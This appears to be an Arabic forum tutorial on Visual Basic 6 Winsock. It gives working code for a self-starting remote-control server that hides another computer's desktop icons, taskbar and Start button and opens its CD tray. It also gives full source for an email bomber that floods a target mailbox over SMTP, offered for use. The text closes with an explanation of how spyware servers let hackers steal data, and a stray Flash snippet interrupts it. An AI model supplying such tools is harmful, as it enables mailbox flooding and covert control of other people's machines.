يحتوي الكود على العديد من الإجراءات والأوامر ولكن سأذكر هنا الأسطر الأساسية والتي تمثل صلب عمل البرنامج فقط وذلك من أجل استيعاب الموضوع بشكل الأفضل أما تفاصيل الشيفرة الكاملة فيمكنكم قراءتها من البرنامج بعد تحميله من الوصلة المذكورة في نهاية الموضوع 



1. إجراء عملية الاتصال مع الخادم wskclient.Connect srvrip.Text, srvrport.Text 



2. عملية إرسال الأوامر إلى البرنامج الخادم "wskclient.SendData "openCD 



3. مراقبة حالة الاتصال wskclient.State = 0 

أهم القيم المستخدمة في مراقبة حالة الاتصال 



0 " لا يوجد اتصال " 



7 " تم الاتصال " 



8 " قام الخادم بقطع الاتصال " 



9 " خطأ في الاتصال " 



تصميم البرنامج الخادم 



أولاً . . إدراج أداة MS WINSOCK للمشروع 



ثانياً . . كتابة الكود للبرنامج الخادم مع ملاحظة انه تم تعيين رقم المنفذ (2000) للبرنامج ويمكن تغييره في الكود لأي رقم آخر من 1 - 65535 



ثالثاً . . تصميم البرنامج ليعمل تلقائياً بعد تشغيله 

كتابة شيفرة ( كود ) البرنامج الخادم [Server] 



يحتوي الكود على العديد من الإجراءات والأوامر ولكن سأذكر هنا الأسطر الأساسية والتي تمثل صلب عمل البرنامج فقط وذلك من أجل استيعاب الموضوع بشكل الأفضل أما تفاصيل الشيفرة الكاملة فيمكنكم قراءتها من البرنامج بعد تحميله من الوصلة المذكورة في نهاية الموضوع 



1. تحديد منفذ الاتصال wskServer.LocalPort = 2000 



2. إجراء عملية الاتصال wskServer.Listen 



3. قبول طلب البرنامج العميل بالاتصال مع البرنامج الخادم 



Private Sub wskServer_ConnectionRequest(ByVal requestID As Long) 



If wskServer.State <> sckClosed Then 



wskServer.Close 



wskServer.Accept requestID 



End Sub 





عملية استقبال الأوامر من البرنامج العميل ( يتم تعريف متغير يقوم باستقبال الأوامر من العميل ) 



Private Sub wskServer_DataArrival(ByVal bytesTotal As Long) 



Dim command As String 



wskServer.GetData command 



End Sub 

...................... 

....................... 

الحين نصممه خطوه بخطوه: 

---------------------------------------------------------------------------------- 

---------------------------------------------------------------------------------- 

هذا البرنامج يمثل برنامج العميل 

بستخدام تقنية tcp/ip 

---------------------------------------------------------------------------------- 

---------------------------------------------------------------------------------- 

الحين انشئ زر واسمه اتصال 

اوكتب هذا الكود 

Private Sub Command1_Click() 

wskclient.Close 

'يجب التأكد من أن الإتصال مغلق قبل عمل إتصال جديد 

If srvrip.Text = "" Then 

MsgBox "IP يجب كتابة رقم" 

Exit Sub 

End If 

If srvrport.Text = "" Then 

MsgBox "يجب كتابة رقم المنفذ" 

' يجب كتابة رقم منفذ 

Exit Sub 

End If 

If srvrport.Text > 65535 Then 

MsgBox "رقم المنفذ بين 1 - 65535" 

' يجب التأكد من رقم المنفذ الصحيح 

Text2.Text = "" 

Exit Sub 

End If 

wskclient.Connect srvrip.Text, srvrport.Text 

'هذا السطر يمثل عملية الإتصال بالخادم 

'(Port)ورقم المنفذIP يتم الإتصال بالخادم عن طريق تحديد رقم 

'عند الضغط على زر "إتصال" يتم إجراء الإتصال 

Command1.Enabled = False 

'تعطيل زر "اتصال" عند اجراء الاتصال 

End Sub 



--------------------------------------------------------- 

--------------------------------------------------------- 

انشئ رز واسمه انهاء الاتصال 

واكتب هذا الكود 

Private Sub Command2_Click() 

wskclient.Close 

' "يتم إغلاق الإتصال عند الضغط على زر "انهاء الاتصال 

Command1.Enabled = True 

'تمكين الزر "اتصال" عند قطع الاتصال 

End Sub 

---------------------------------------------------------- 

---------------------------------------------------------- 

انشئ زر واسمه فتح سواقه الليزر 

واكتب هذا الكود 

Private Sub Command3_Click() 

On Error Resume Next 

wskclient.SendData "openCD" 

End Sub 

--------------------------------------- 

--------------------------------------- 

انشئ زر واسمه اغلاق سواقه الليزر 

واكتب هذا الكود 

Private Sub Command4_Click() 

On Error Resume Next 

wskclient.SendData "closeCD" 

End Sub 

---------------------------------------- 

---------------------------------------- 

انشئ زر واسمه اخفاء ايقونات سطح المكتب 

واكتب هذا الكود 

Private Sub Command5_Click() 

On Error Resume Next 

wskclient.SendData "hideDESKTOP" 

End Sub 

------------------------------------- 

-------------------------------------- 

انشئ زر واسمه اضهار ايقونات سطح المكتب 

واكتب هذا الكود 

Private Sub Command6_Click() 

On Error Resume Next 

wskclient.SendData "showDESKTOP" 

End Sub 

-------------------------------------------- 

-------------------------------------------- 

انشئ زر واسمه اخفاء زر ابداء 

واكتب هذا الكود 

Private Sub Command8_Click() 

On Error Resume Next 

wskclient.SendData "hideSTART" 

End Sub 

-------------------------------------------- 

-------------------------------------------- 

انشئ زر واسمه اضهار زر ابداء 

واكتب هذا الامر 

Private Sub Command9_Click() 

On Error Resume Next 

wskclient.SendData "showSTART" 

End Sub 

------------------------------------------ 

----------------------------------------- 

انشئ زر واسمه اخفاء شريط المهام 

واكتب هذا الكود 

Private Sub Command10_Click() 

On Error Resume Next 

wskclient.SendData "hideTASKBAR" 

End Sub 

----------------------------------------------- 

----------------------------------------------- 

انشئ زر واسمه اضهار شريط المهام 

واكتب هذا الكود 

Private Sub Command11_Click() 

On Error Resume Next 

wskclient.SendData "showTASKBAR" 

End Sub 

---------------------------------------------- 

الحين انشئ fram وذللك من شريط الادوات من الفيجوال بيسك 

واسمهه لوحة الاتصال وضح زر الاتصال وزر انهاء الاتصال 

--------------------------------------------------------------------- 

الحين انشئ تايمر وضعه على لوحة الاتصال التي صنعناها من قائمة fram 

اوكتب هذا الكود فيه 

Private Sub Timer1_Timer() 

If wskclient.State = 0 Then status.Caption = "لايوجد إتصال" 

If wskclient.State = 6 Then status.Caption = "جاري الإتصال" 

If wskclient.State = 7 Then status.Caption = "تم الإتصال مع الخادم" 

If wskclient.State = 8 Then status.Caption = "قام الخادم بقطع الإتصال" 

If wskclient.State = 9 Then status.Caption = "خطأ في الإتصال" 

'توجد 9 مراحل لإجراء عملية الإتصال بين عميل وخادم 

If wskclient.State <> sckConnected Then 

status.Caption = "لايوجد إتصال" 

End If 

End Sub 

------------------------------- 

------------------------------ 

الحين انشئ wskclient وذللك عن طريق الضغط على زر كنترول من حرف تي وسوف تضهر لك قائمه اختار منها microsoft winsock control 6.0 واضغط اوكي 

---------------------------------- 

---------------------------------- 

الحين انشئ label وذلك من شريط الادوات في الفيجوال بيسك وسمه 

ip 

----------------------------- 

----------------------------- 

الحين انشئ text box وضعها امام label الذي سميناه ip 

------------------------------ 

----------------------------- 

الحين انشئ label وسمه port 

------------------------------------- 

الحين انشئ text box وضعها امام label الي سميناه port 

-------------------------------------- 

الحين انشئ label واتركه فارغا وضعه اسفل الفورم 

------------------------------------------------------------------ 

------------------------------------------------------------------ 

------------------------------------------------------------------ 

الحين نكتب برنامج الخادم 

انشئ فورم جديد واكتب هذا الكود فيه 

Private Sub Form_Load() 

'wskServer اسم اداة الوينسوكت في هذا البرنامج 

wskServer.LocalPort = 2003 

' تعيين منفذ للخادم 

wskServer.Listen 

' بدء تشغيل الخادم 

TaskBarHwnd = FindWindow("Shell_traywnd", "") 

' يقوم البرنامج بتحديد تعريف شريط المهام 

End Sub 

--------------------------------------- 

--------------------------------------- 

الحين انشئ wskclient وذللك عن طريق الضغط على زر كنترول من حرف تي وسوف تضهر لك قائمه اختار منها microsoft winsock control 6.0 واضغط اوكي واكتب هذا الكود فيهPrivate Sub 

Private Sub wskServer_ConnectionRequest(ByVal requestID As Long) 

If wskServer.State <> sckClosed Then _ 

wskServer.Close 

wskServer.Accept requestID 

' قبول طلب الاتصال 

End Sub 



'==== هذا الإجراء يمثل عملية استقبال الاوامر من البرنامج العميل ==== 

Private Sub wskServer_DataArrival(ByVal bytesTotal As Long) 

Dim command As String 

'يجب تعريف المتغير الذي سوف يستقبل البيانات القادمة من العميل 

wskServer.GetData command 

'يمثل هذا السطر استقبال المتغير للاوامر القادمة من العميل 



Select Case command ' تحديد الأمر القادم من البرنامج العميل 

Case "openCD" ' اذا تم اختيار امر فتح سواقة الليزر يتم تنفيذ الاجراء التالي 

CDOpen 

Case "closeCD" 

CDClose ' اذا تم اختيار امر اغلاق سواقة الليزر يتم تنفيذ الاجراء التالي 

Case "hideDESKTOP" ' اذا تم اختيار امر اخفاء ايقونات سطح المكتب يتم تنفيذ الاجراء التالي 

Progman& = FindWindow("Progman", vbNullString) 

SHELLDLLDefView& = FindWindowEx(Progman&, 0&, "SHELLDLL_DefView", vbNullString) 

SysListView& = FindWindowEx(SHELLDLLDefView&, 0&, "SysListView32", vbNullString) 

Call ShowWindow(SysListView&, SW_HIDE) 

Case "showDESKTOP" ' اذا تم اختيار امر اظهار ايقونات سطح المكتب يتم تنفيذ الاجراء التالي 

Progman& = FindWindow("Progman", vbNullString) 

SHELLDLLDefView& = FindWindowEx(Progman&, 0&, "SHELLDLL_DefView", vbNullString) 

SysListView& = FindWindowEx(SHELLDLLDefView&, 0&, "SysListView32", vbNullString) 

Call ShowWindow(SysListView&, SW_SHOW) 

Case "hideSTART" ' اذا تم اختيار امر اخفاء زر ابدأ يتم تنفيذ الاجراء التالي 

HideStartButton 

Case "showSTART" ' اذا تم اختيار امر اظهار زر ابدأ يتم تنفيذ الاجراء التالي 

ShowStartButton 

Case "hideTASKBAR" ' اذا تم اختيار امر اخفاء شريط المهام يتم تنفيذ الاجراء التالي 

Call SetWindowPos(TaskBarHwnd, 0&, 0&, 0&, 0&, 0&, SWP_HIDEWINDOW) 

Case "showTASKBAR" ' اذا تم اختيار امر اظهار شريط المهام يتم تنفيذ الاجراء التالي 

Call SetWindowPos(TaskBarHwnd, 0&, 0&, 0&, 0&, 0&, SWP_SHOWWINDOW) 

End Select 



End Sub 



-------------------------- 

--------------------------- 

الحين انشئ label وسمه الي تبي تسميه واكتب الي تبي تكتب فيه انشالله تسميه بوكيمون 

--------------------------------------------- 

---------------------------------------------- 

الحين انشئ موديل واكتب هذا الكود فيها 



' API CALLS 

'مجموعة من الدالات التي تختص بتنفيذ الأوامر الخاصة بالخادم 



Public Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long 

Public Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long 

Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long 

Public Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long 

Public Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long 



Public Const SW_HIDE = 0 

Public Const SW_SHOW = 5 



Const SWP_HIDEWINDOW = &H80 

Const SWP_SHOWWINDOW = &H40 

'دالة اخفاء زر ابدأ 

Sub HideStartButton() 

Dim Handle As Long, FindClass As Long 

FindClass& = FindWindow("Shell_TrayWnd", "") 

Handle& = FindWindowEx(FindClass&, 0, "Button", vbNullString) 

ShowWindow Handle&, 0 

End Sub 

' دالة اظهار زر ابدأ 

Sub ShowStartButton() 

Dim Handle As Long, FindClass As Long 

FindClass& = FindWindow("Shell_TrayWnd", "") 

Handle& = FindWindowEx(FindClass&, 0, "Button", vbNullString) 

ShowWindow Handle&, 1 

End Sub 



'دالة اغلاق سواقة الليزر 

Sub CDClose() 

retvalue = mciSendString("set CDAudio door closed", returnstring, 127, 0) 

End Sub 



'دالة فتح سواقة الليزر 

Sub CDOpen() 

retvalue = mciSendString("set CDAudio door open", returnstring, 127, 0) 

End Sub 

----------------------------------- ------------------------------------ 
والان سوف نقوم بعمل برنامج تفجير البريد الكتروني وهو kabomb 

لصنع برنامج ضرب إيميلات نحتاج إلى التالي : 
* فورم1 - أداة Winsock - و Timer 
نضع داخل الفورم: 
- مربع نص ونضع لكل مربع نص ليبل لتعريفه 
ليبل 1 : المضيف ( مثل mail.hotmail.com ) 
ليبل 2 : المرسل 
ليبل 3 : المستقبل 
ليبل 4 : العنوان 
ليبل 5 : النص ( ويكون هذا المربع كبير واجعل خاصية multline = True ) 
ليبل 6 : عدد الرسائل المراد ارسالها . 

- أزرار (3) 
الأول : بدء الضرب 
الثاني : إيقاف الضرب 
الثالث : اغلاق 

والآن لنضع الأكواد : 

عند بدء الضرب سيتم الاتصال عبر الوينسوك بالمضيف بالكود التالي: 
Winsock1.connect text1 , 25 
ملاحظة : هكذا سيتصل بالمضيف الخاص بالهوتميل والرقم هو منفذ الإرسال. 
الآن سوف يتم الاتصال بمضيف الهوتميل 

وللتأكد من الإتصال سوف نجعل عملية الإرسال تبدأ حين وصول رد المضيف : 
اضغط على أداة الوينسوك مرتين واذهب إلى الحدث DataArrival 
واكتب فيها : 
timer1.enabled = True 
وعليك جعل خاصية enabled في التيمر = False 
والآن سنذهب للتيمر 
عمل التيمر هو ارسال الرسائل للبريد ، وسوف يتم تكراره إلى أن يكتمل عدد الرسائل ، وسرعته لا يجب أن تزيد إلا مع الاتصال السريع ، ومع الاتصال المتوسط سوف نجعله يرسل كل نصف ثانية (500) 

وهذا هو كود إرسال الرسائل: 


Winsock1.SendData "MAIL FROM:" & text2 & vbNewLine 
Winsock1.SendData "RCPT TO:" & Text3 & vbNewLine 
Winsock1.SendData "DATA" & vbNewLine 
Dim MSG As String 
MSG = "From:" & Text2 & vbNewLine & "Date: " & _ 
Now & vbNewLine & "To:" & Text3 & vbNewLine & _ 
"Subject: " & Text4 & vbNewLine & vbNewLine & _ 
Text5 & vbNewLine 
Winsock1.SendData MSG 
Winsock1.SendData vbNewLine & vbNewLine & "." & vbNewLine & vbNewLine 

وهكذا فإن البرنامج سوف يستمر بالضرب دون توقف ، ولإيقافه تحتاج لهذا الكود في التيمر 
Dr = Dr + 1 
if Dr = Text6 Then 
timer1.enabled = false 
end if 
وضع داخل الحدث Form load التالي : 
Dr = 0 
وداخل مديول التالي : 
Public Dr as long 

هذا هو برنامج ضرب الإيميل ، أصبح بين يديك 

.......................................................................... 




الاداة winsock


هي اداه تستخدم لربط برنامجين مع بعضهما البعض سواء كان هاذان البرنامجان في كمبيوتر واحد ام في كمبيوترين مختلفين وسواءً في شبكة داخلية او خارجية .... 

والغرض من هذا الربط هو نقل البيانات من طرف الى طرف آخر وقد يكون الغرض من وراء نقل البيانات هو غرض مفيد او غير مفيد كا التجسس على الآخرين .... 

ولكي نبدء بالبرمجة مع هذة الاداه يجب علينا اولاً ان نعرف ما هي الشروط الاساسية والاحتياجات لعملية الربط اهم هذة الشروط هو معرفة الاي بي IP وهو عبارة عن رقم يقوم مزود الانترنت لديك بمنحك اياه عند دخولك الشبكة وهو الرقم الذي يمييز جهازك عن باقي الاجهزة داخل الشبكة ولا يمكن ان يتساواى جهازان في الاي بي عند اتصالهما وهو رقم غير ثابت اي انك اذا دخلت الشبكة يتم اعطائك رقم فاذا قمت بالخروج ثم العودة مرة اخرى ستجد ان هذا الرقم قد تغيير ما يهمنا معرفته هو ان هذا الرقم ضروري جداً للربط بين الاجهزة ويمكن الاستعاظة عنه فيي حالة الشبكة الداخلية باسم الجهاز الذي نريد الاتصال به ..... وبشكل افتراضي اذا كنت غير مرتبط في الشبكة الان فان رقم الاي بي التابع لجهازك هو 127.0.0.1 وعند اتباطك فانه يتغيير بحسب ما يعطى لك من قبل مزود الخدمة لديك .... 

والشرط الثاني هو المنفذ او Port حيث يمكن للبرنامج استخدام اي منفذ الى اكثر من ستين الف منفذ وهو يستخدم للتراسل بين البرامج مثلاً اذا جعلت برنامج في جهاز A وآخر في جهاز B واردت ان يتصل البرنامج A بالبرنامج B يجب عليك اولاً ان تجعل البرنامج B ينتظر الاتصال على منفذ معين مثلاً المنفذ رقم 10000 ثم تجعل البرنامج A يطلب الاتصال بالجهاز الذي يمتلك رقم IP التابع للبرنامج B فيقوم البرنامج بطلب الاتصال عن طريق الاداه السابقة الذكر ولكن قبل ذلك يجب ان تحدد المنفذ الذي تريد الاتصال به والذي يجب ان يكون ايضاً 10000 وعندما يبدء البرنامج A الاتصال على المنفذ المذكور يجد ان البرنامج B منتظراً للاتصال على هذا المنفذ فيحصل بذلك الاتصال وعند هذة النقطة يمكن فعل الكثير .... 

فمثلاً في برامج التجسس نسمع كثيراً عن مصطلح السيرفر او الباتش وهو في مثالنا البرنامج الثاني حيث يقوم باختيار احد المنافذ ثم الانتظار على هذا المنفذ وعندما تتصل بالشبكة يعمل الهكر على معرفة الاي بي التابع لجهازك ثم يطلب الاتصال به على نفس المنفذ الذي ينتظره فيه برنامج السيرفر وبذلك يحصل الاتصال بينهما ثم يقوم حينها الهكر بسرقة كل البيانات التي يريدها من جهازك ثم ارسالها الى البرنامج الآخر على جهازه ....... 

..................... 
قبل كل شيء يجب ان نضيف الاداه Winsock الى برنامجنا وذلك عن طريق النقر على Components من القائمة Project ثم اخيتار العنوان [Microsoft Winsock Control 6.0] من مربع الحوار الذي سيظهر .... وبذلك نكون قد اضفنا الاداة Winsock الى برنامجنا ..... 

واليكم الان بعض من الخواص المهمة في هذة الاداه والتي يجب علينا فهمها قبل كل شيء : 



code: LocatPort وهو يحدد رقم المنفذ المحلي 
LocalIP يعطي رقم الاي بي المحلي 
RemotePort رقم المنفذ في الجهاز الآخر 
RemoteHost رقم الاي بي للجهاز الآخر 
Protocol نوع الترابط بين البرنامجين ويوجد نوعان نتكلم عنهما لاحقاً 
State يعطي حالة البرنامج الان هل هو متصل ام لا ام منتظر اتصال وهكذا 






وكذلك توجد اوامر اخرى مهمة جداً مثل : 


code: Listen تستخدم لجعل البرنامج ينتظر الاتصال 
GetData تستخدم لقراءة البيانات التي ارسلت الى البرنامج 
SendData تستخدم لارسال البيانات الى البرنامج الآخر 
Connect تستخدم لطلب الاتصال 
Accept تستخدم لقبول الاتصال 






وبيقى اخيراً مجموعة من الاحداث المهمة وهي : 

code: Connect يفيد بان عملية الربط قد تمت 
Close يفيد بان الربط مفقود 
DataArrival يعلم البرنامج بوصول بيانات من البرنامج الآخر 
SendComplete يفيد البرنامج ان الارسال قد انتهى 
Error ينبه بوجود خطأ ما 
ConnectionRequest يفيد بانه يوجد برنامج يريد الاتصال ببرنامجنا 


فلاش
----------------------------------------
 
ShockwaveFlash1.Movie = ("ضع هنا مسار الملف") 

 



طبعاً يبدو الان الامر قد تعقد وانه يجب علينا حفظ الكثر حتى نستخدم الاداه ولكني احب ان الامر ليس كذلك فانت لكي تقوم بعملية ربط برنامجيين ببعض يلزمك فقط سطر واحد من الشفرة في البرنامج الاول وسطران في البرنامج الآخر فقط !!! طبعاً هذا يفيد بعملية الربط ويزيد الكود قليلاً اذا اردت ان ترسل رسالة من البرنامج الاول الى البرنامج 
الآخر لذى لا اريد ان تصاب اخي بخيبة امل من الكثرة التي تجدها هنا لأني ذكرتها فقط حتى اذا استخدمتها لاحقاً امكنك ان تعود الى هذة البيانات لمعرفة الغرض الاساسي من الامر اي فقط كمرجع لذى من الان وصاعداً هيئ نفسك لنبدء اول عملية ربط بين برنامجينا .... وسوف اجعلها بيسطة جداً لكي يتحمس الذي لم يجرب ذلك من قبل واتمنى ان لا تحبط الذي قام بالربط مسبقاً لاننا سوف نتدرج كي نصل الى برامج كبيرة بإذن الله وتوفيقه